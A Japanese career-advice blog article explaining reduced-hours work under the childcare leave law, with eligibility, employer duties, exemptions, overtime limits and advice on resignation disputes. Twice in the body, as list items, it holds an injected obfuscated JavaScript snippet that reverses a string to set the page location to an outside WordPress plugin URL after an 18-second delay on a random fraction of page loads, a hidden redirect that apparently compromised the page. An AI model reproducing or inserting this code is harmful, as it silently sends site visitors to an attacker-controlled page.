育休から無事に復帰したあと、会社に時短勤務を申し出たら断られてしまった…そんなケースをしばしば耳にします。
仕事を失うよりはマシとそのまま納得して定時まで頑張る女性もいますが、実のところ、時短勤務は育児休業法という法律で定められた制度。
会社としっかり交渉するためにも、時短勤務に関する法律の知識を身に付けておきましょう!
時短勤務はいつまで?何時間までなの?
育児休業法では、時短勤務について下記のように定められています。
対象者
満3歳になる前の子供を育てている労働者(男女)
手続き
労働者から会社に勤務時間の短縮を申し出る
会社側がしなくてはならない対応
その労働者が勤務しながら子育てできることを容易にするための措置を講じなくてはならない
その他会社側の義務
時短制度を導入しなくてはならない。
- $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot”>
- 入社してから1年を経過していない労働者
- 1年以上雇用しているが、勤務時間の短縮をしないことに合理的な理由がある場合
- 業務の性質や業務の実施体制において、時間短縮が困難な業務についている場合
もしもこの3点に該当して時短勤務ができない場合にも、会社は法律に則って「労働者が仕事をしながら子育てすることが容易になるような措置」を講じなくてはなりません。
残業や深夜労働に関する法律の規定
その他、小さい子供をかかえる労働者は、勤務時間について下記の請求を行うことができます。
1.残業の制限
満3歳を迎える前の子供を育てる労働者が請求した場合には、会社は時間外労働をさせることはできません。
2.残業時間数の上限設定
小学校就学前までの子供を育てている労働者が請求した場合には、会社側は月24時間、年150時間を超えて残業させることはできません。
1と2どちらも、会社と労働者が協定を結ぶことで、下記法律の条件に該当する人を対象外とすることができます。
- $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot”>
- 入社してからの期間が1年経っていない人
- 深夜の時間帯、常に(一時的ではダメ)保育してくれる人がいる場合
- その他、深夜労働をさせる合理的な理由がある場合
勤務時間短縮で会社ともめて退職してしまったら
以上が、育児休業法での法律上の規定となっています。
ただし現実には、会社からのひどい対応を受けて、退職に追い込まれてしまう人もいます。
その場合には、まず労働基準監督署に相談に行きましょう。
以上、時短勤務の法律についてご理解いただけたでしょうか?
やむなく退職してしまうと、特に女性の方は次の仕事がぐっと探しにくくなってしまいます。
小さい子供がいるという理由だけで、書類選考から漏れてしまうケースは後を断ちません。
そのためこのサイトでは、キャリアアドバイザーの立場から「子育てしながらしやすい仕事とは何か」を探っています。
子育て後のキャリアプランを考え、よりよい条件で仕事復帰するためのポイントをまとめてみたので、参考になさってください。
ともあれ、仕事の継続を希望するのであれば、会社との交渉が第一段階。
正確な法律の知識を武器として、有利に交渉を進めて下さいね!
- 子育てしながら働きたい女性は 女性のためのお仕事特集 記事一覧へ
- 在宅ワークの基本知識は 在宅ワーク特集へ
次のページ >> 働くママ必見!時短勤務とは?〜時短勤務制度を活用しよう〜

萩原由紀

最新記事 by 萩原由紀 (全て見る)
- 主婦の仕事復帰 スキルアップに必要な4つのチェックポイント - 2017年7月21日
- 女性のキャリアアップの悩み 子育てとの両立はできる? - 2016年5月23日
- 病児保育とは?病児保育室の現状と活用について知っておこう - 2016年3月24日
- 保育園に落ちたら退職?落選後の5つの選択肢とは - 2016年2月29日
- マタニティーハラスメントとは 事例と現状を解説します - 2015年11月13日